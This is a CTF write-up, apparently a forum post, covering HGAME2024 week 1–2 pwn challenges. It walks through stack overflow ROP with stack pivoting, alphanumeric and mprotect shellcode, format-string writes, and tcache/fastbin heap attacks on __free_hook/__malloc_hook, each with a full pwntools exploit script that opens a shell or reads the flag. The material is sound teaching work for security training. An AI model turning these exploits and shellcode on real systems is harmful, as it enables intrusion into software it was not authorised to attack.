HGAME2024 week1+2 pwn题目详解
PaT1Ent 发表于 山东 CTF 1018浏览 · 2024-02-21 02:56

HGAME2024 week1+2 pwn题目详解

前置技巧1


直接运行是运行不了的


因为链接库是绝对路径,所以这里做提前需要改一下,用一下命令即可

patchelf --set-interpreter
patchelf --replace-needed

当然这里要提前找好相应的libc和ld文件
下面还是用 Elden Ring Ⅰ这个例子


然后就可以本地运行了

Elden Ring Ⅰ

思路

首先检查一下保护


ida里面看到开了沙箱,然后就是栈溢出,不过只溢出0x30字节
这里用 seccomp-tools 检查沙箱禁了什么函数


可以看到禁了 execve ,所以直接orw即可
首先就是先利用泄露libc地址,puts(puts_got)

pl = 'a'*0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x40125B)
sl(pl)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
leak('libc_base ',libc_base)
#duan()

这里说一个小技巧,就是我们泄露出来地址,在下断点后,用vmmap命令可以确认一下


然后因为溢出空间不够orw,所以先来一步栈迁移

bss=0x404200
pl='a'*0x100+p64(bss)+p64(0x401276)
s(pl)
pl='a'*0x100+p64(bss+0x100)+p64(0x401276)
s(pl)

因为这里偏移是0x100,所以第二次的rbp设置的bss+0x100


第一次输入后,然后在0x404100处读入


'a'*0x100先填到rbp,然后再将0x404200处rbp设置成0x404300


之后leave ret后
就还是沿着0x404208执行,也就还是能跳转到read
然后就是read(0,0x404200,0x100)


需要注意的是上面的rsp位置显示的是不正确的(0x404200-->'./flag'),这里直接跑到下面去下断点,然后调试就可以看出来

pl=b'./flag\x00\x00'+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(open_addr)
pl+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x400)+p64(rdx)+p64(0x100)+p64(read_addr)
pl+=p64(rdi)+p64(bss+0x400)+p64(puts_addr)
s(pl)


从这里我们就看出第三个payload就直接沿着0x404208执行了,所以我们也是把'./flag'放在了0x404200的位置

pl=b'./flag\x00\x00'+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(open_addr)
pl+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x400)+p64(rdx)+p64(0x100)+p64(read_addr)
pl+=p64(rdi)+p64(bss+0x400)+p64(puts_addr)
s(pl)

然后就得到了本地测试的flag

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
#p=remote('139.196.183.57',32391)
elf = ELF('./pwn')
libc=ELF('./libc.so.6')

def duan():
    gdb.attach(p)
    pause()

puts_got = 0x404028#elf.got['puts']
puts_plt = 0x4010C4#elf.plt['puts']
ru("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
rdi=0x00000000004013e3
ret=0x000000000040101a

pl = 'a'*0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x40125B)
sl(pl)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
#duan()
leak('libc_base ',libc_base)

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

ru("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")

bss=0x404200#elf.bss()+0x100
pl='a'*0x100+p64(bss)+p64(0x401276)
s(pl)
pl='a'*0x100+p64(bss+0x100)+p64(0x401276)

rsi=0x000000000002601f+libc_base
rdx=0x0000000000142c92+libc_base

s(pl)
#duan()
pl=b'./flag\x00\x00'+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(open_addr)
pl+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x400)+p64(rdx)+p64(0x100)+p64(read_addr)
pl+=p64(rdi)+p64(bss+0x400)+p64(puts_addr)

s(pl)
itr()

ezshellcode

思路

GLIBC_2.34,所以这里用的ubuntu22


其实这里就是输入shellcode


写入的可以直接执行,不过myread限制了字符的范围


这里用纯字母数字shellcode

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

不过一开始限制了长度,所以用负数绕过
这里需要注意一点,就是\n是不在这个范围内的,所以用sendline就会卡住

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')

ru('input the length of your shellcode:')
sl('-1')

ru('input your shellcode:')
shell='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
#shell='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
s(shell)

itr()

Elden Random Challenge

思路


这里第一个read是没什么用的,因为就是打印出来输入的buf,所以直接绕过伪随机数即可
这里就是以时间为种子的伪随机数

libcc = cdll.LoadLibrary('./libc.so.6')
libcc.srand(libcc.time(0))

for i in range(99): 
    p.recvuntil("Please guess the number:")
    k = libcc.rand() % 100 + 1
    p.send(chr(k))

这里v6在程序中储存的是整数,所以这里要输入当前整数对应的 ASCII 字符(chr),这样在程序中储存的值大小就一样
如果不理解,可以在gdb里面看一眼,这里我们就输入了个'a\n'

这里看到是这样比较的


其实就是比较的ASCII码值
之后就是写rop链了

pl='a'*0x38+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40125D)
sl(pl)
puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
leak('libc_base ',libc_base)

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

pl=b'a'*0x38 + p64(ret) + p64(rdi) +p64(binsh) + p64(system)
sl(pl)

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
libcc = cdll.LoadLibrary('./libc.so.6')
libcc.srand(libcc.time(0))


def duan():
    gdb.attach(p)
    pause()

ru('Menlina: Well tarnished, tell me thy name.\n')
#duan()
#sl("%13$p")

sl('k')

r(8)
stack=u64(p.recv(6).ljust(8,'\x00'))-0xe8

#duan()


for i in range(99): 
    p.recvuntil("Please guess the number:")
    k = libcc.rand() % 100 + 1
    p.send(chr(k))

ru("Here's a reward to thy brilliant mind.\n")

rdi = 0x401423
puts_got = 0x404018
puts_plt = 0x4010B0
ret = 0x040101a
pl='a'*0x38+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40125D)
sl(pl)
puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
leak('libc_base ',libc_base)

system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))

pl=b'a'*0x38 + p64(ret) + p64(rdi) +p64(binsh) + p64(system)
sl(pl)

itr()

ezfmt string

思路


过滤字符'p'和's',使用这里就是让用'n'来直接修改
还给了个后门

pl='%'+str(0x68)+'c%18$hhn'
pl+='%'+str(0x40123d-0x68)+'c%22$n'
sl(pl)


先去修改个栈地址,然后利用rbp处的链子去修改返回地址,不过这里概率是1/16,因为栈地址倒数第二位有16种可能,调试的时候无法完全看到改后的位置,直接跑脚本就可以

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')

def duan():
    gdb.attach(p)
    pause()
#duan()
ru('the shit is ezfmt, M3?\n')
pl='%'+str(0x68)+'c%18$hhn'
pl+='%'+str(0x40123d-0x68)+'c%22$n'
sl(pl)
#0x40123D
itr()

前置技巧2

当本地调试符号和题目用的不一样时


这样调试的时候就会报错


当然可以用chunk列表去做题


不过这样太过于麻烦
show debug-file-directory


我们去改一下这个本地文件就行
先去找到glibc-all-in-one里面的.debug


将9.14的debug改一下

sudo mv debug debug_2_31_9_14

然后把9.9的debug复制过来即可

sudo cp -r ~/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/.debug debug

然后就可以调试了

Elden_Ring_Ⅱ

思路

GLIBC 2.31-0ubuntu9.9
限制了0xf的数量,限制申请的chunk小于0xff,然后有uaf,有edit,show直接泄露chunk内容


然后就很简单了,打tcachebin就行

for i in range(9):
    add(i,0x88)

for i in range(8):
    delete(i)

libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)

edit(8,'/bin/sh\x00')
edit(6,p64(free_hook))


把free_hook的chunk申请一下

add(10,0x88)
add(11,0x88)


改hook为system

edit(11,p64(system))

delete(8)#system("/bin/sh")

getshell

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

#p=remote('47.100.137.175',30118)
p=process("./pwn")
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

def duan():
    gdb.attach(p)
    pause() 

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def choice(cho):
    sla('>',cho)

def add(idx,size):
    choice(add_idx)
    sla('Index: ',idx)
    sla('Size: ',size)

def delete(idx):
    choice(delete_idx)
    sla('Index: ',idx)

def show(idx):
    choice(show_idx)
    sla('Index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Index: ',idx)
    sla('Content: ',content)

for i in range(9):
    add(i,0x88)

for i in range(8):
    delete(i)

#duan()
show(7)

libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)

edit(8,'/bin/sh\x00')
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

edit(6,p64(free_hook))
#duan()

add(10,0x88)
add(11,0x88)
#duan()
edit(11,p64(system))
#duan()
delete(8)
p.interactive()

fastnote

思路

GLIBC 2.31-0ubuntu9.14
限制申请大小为0x80,无edit,打fastbin

for i in range(9):
    add(i,0x80,'aaaa')

for i in range(8):
    delete(7-i)

show(0)
libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)

先链入unsorted bin 里面,泄露libc

for i in range(10):
    add(i,0x60,'aaaa')

for i in range(9):
    delete(9-i)

delete(2)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

然后在构造chunk的重叠

add(5,0x60,'/bin/sh\x00')
add(6,0x60,'aaaa')
add(7,0x60,p64(free_hook))

把hook写上去(5,6从tcachebin里面取完后,7遍历fastbin,链入tcachebin再取)

add(8,0x60,'aaaa')
add(9,0x60,'aaaa')
add(10,0x60,p64(system))
delete(5)

修改完之后free

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

#p=remote('47.100.137.175',30134)
p=process("./pwn")
libc = ELF('./libc-2.31.so')
elf = ELF('./pwn')

def duan():
    gdb.attach(p)
    pause() 

menu = 'Your choice:'

def add(index, size, content):
    p.sendlineafter(menu, '1')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', content)


def delete(index):
    p.sendlineafter(menu, '3')
    p.sendlineafter('Index: ', str(index))

def show(index):
    p.sendlineafter(menu, '2')
    p.sendlineafter('Index: ', str(index))

for i in range(9):
    add(i,0x80,'aaaa')

for i in range(8):
    delete(7-i)

show(0)
libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)

for i in range(10):
    add(i,0x60,'aaaa')

for i in range(9):
    delete(9-i)

delete(2)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system'] 

for i in range(5):
    add(i,0x60,'aaaa')

add(5,0x60,'/bin/sh\x00')
add(6,0x60,'aaaa')
add(7,0x60,p64(free_hook))


add(8,0x60,'aaaa')
add(9,0x60,'aaaa')
add(10,0x60,p64(system))
delete(5)
'''
'''
#duan()
p.interactive()

ShellcodeMaster

思路1


16字节的shellcode,而且把buf的写入权限关了
所以16字节打开权限和再次写入

shell1=asm('''
    shl edi,12
    mov dx,0x7
    mov ax,10
    syscall
    cdq
    mov esi,edi
    xor edi,edi
    xor eax,eax
    syscall
''')

先开个权限,这三行就是
rax:a
rdi:0x2333左移3位-->0x2333000
rsi: 0x2333
rdx:7
mprotect(0x2333000,0x2333,7)

然后写read


cdq:把EDX的所有位都设成EAX最高位的值。也就是说,当EAX <80000000, EDX 为00000000;当EAX >= 80000000, EDX 则为FFFFFFFF


所以edx=0xFFFFFFFF
read(0,0x2333000,0xFFFFFFFF)
然后把rsp设置成有效的地址,然后直接写orw_shellcode

pl=b'\x90'*0x60+asm("shl rsp,0xc;add rsp,0x500;")+orw_shellcode
sl(pl)

改rsp储存的地址,方便压栈,然后继续执行


orw的shellcode一步一步往下顺就行,这里不做解释了

exp1

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process("./pwn")

def duan():
    gdb.attach(p)
    pause()

shell1=asm('''
    shl edi,12
    mov dx,0x7
    mov ax,10
    syscall
    cdq
    mov esi,edi
    xor edi,edi
    xor eax,eax
    syscall
''')

sa('shellcode\n\n',shell1)

orw_shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x30
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')

pl=b'\x90'*0x60+asm("shl rsp,0xc;add rsp,0x500;")+orw_shellcode
sl(pl)

itr()

思路2

还有一个这种方法,反复利用push pop,巧妙加个jmp

#shellcode = asm('''
#    mov esp,0x404100
#    shl edi,12
#    push 0xa
#    push 7
#    x:
#    pop edx
#    pop eax
#    syscall
#    pop edi
#    push esi
#    mov esi,ecx
#    jmp x
#    ''')

这里构造思路就是先写到syscall,然后再写一个syscall发现字节太多,所以写个跳转
其中关键的一步就是执行完mprotect后,rcx会与rip值相等,这才有了后面的 mov esi,ecx


然后jmp后 pop edx (前面push esi) pop eax


然后就在写的位置就是执行的位置,很巧妙

exp2

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process("./pwn")

def duan():
    gdb.attach(p)
    pause()

#shellcode = asm('''
#    mov esp,0x404100
#    shl edi,12
#    push 0xa
#    push 7
#    x:
#    pop edx
#    pop eax
#    syscall
#    pop edi
#    push esi
#    mov esi,ecx
#    jmp x
#    ''')
#print(shellcode)

#\xbc\x00A@\x00\xc1\xe7\x0cj\nj\x07ZX\x0f\x05_V\x89\xce\xeb\xf6' 
shell = b'\xbc\x00A@\x00\xc1\xe7\x0cj\nj\x07ZX\x0f\x05_V\x89\xce\xeb\xf6'
duan()
sa('shellcode\n\n',shell)

#orw_shellcode = asm(shellcraft.cat('flag'))
orw_shellcode = b'j\x01\xfe\x0c$hflag\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'
s(orw_shellcode)
itr()

old_fastnote

思路

依然是无edit,限制大小0x80
不过2.23的fastbin在malloc时会检查拿到的chunk的size是否正确,所以
很难申请到任意地址的指针。但是这⾥没有对⻬检查,可以通过字节错位实现绕过。
add(5,0x68,p64(malloc_hook-0x23))#0x70 malloc_hook-0x23
剩下还是double free就行
2.23的无tcache bin,好泄露libc,直接一个chunk1防止合并,然后delete chunk0 即可

add(0,0x80,'aaaaaaaa')
add(1,0x80,'aaaaaaaa')
delete(0)
show(0)
libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x3c4b78
leak('libc_base ',libc_base)


然后在0x70处构造一个重叠的链

add(2,0x68,'aaaaaaaa')
add(3,0x68,'aaaaaaaa')
add(4,0x68,'aaaaaaaa')
delete(2)
delete(3)
delete(2)


然后改malloc_hook为og,写/bin/sh

add(5,0x68,p64(malloc_hook-0x23))
add(6,0x68,'/bin/sh\x00')
add(7,0x68,'aaaaaaaa')
add(8,0x68,'a'*0x13+p64(og))


最后free同一个chunk,触发double free,调用malloc,然后getshell

delete(3)
delete(3)

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process("./pwn")
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')

def duan():
    gdb.attach(p)
    pause() 

add_idx = 1
delete_idx = 3
show_idx = 2


def choice(cho):
    sla('Your choice:',cho)

def add(idx,size,content):
    choice(add_idx)
    sla('Index: ',idx)
    sla('Size: ',size)
    sa('Content: ',content)

def delete(idx):
    choice(delete_idx)
    sla('Index: ',idx)

def show(idx):
    choice(show_idx)
    sla('Index: ',idx)

add(0,0x80,'aaaaaaaa')
add(1,0x80,'aaaaaaaa')
delete(0)
show(0)
#duan()
libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x3c4b78
leak('libc_base ',libc_base)

malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ogs=[0x4527a,0xf03a4,0xf1247]
og=ogs[1]+libc_base

add(2,0x68,'aaaaaaaa')
add(3,0x68,'aaaaaaaa')
add(4,0x68,'aaaaaaaa')
delete(2)
delete(3)
delete(2)

add(5,0x68,p64(malloc_hook-0x23))
add(6,0x68,'/bin/sh\x00')
add(7,0x68,'aaaaaaaa')
add(8,0x68,'a'*0x13+p64(og))

#duan()
delete(3)
delete(3)

#duan()
itr()
0 条评论
某人
表情
可输入 255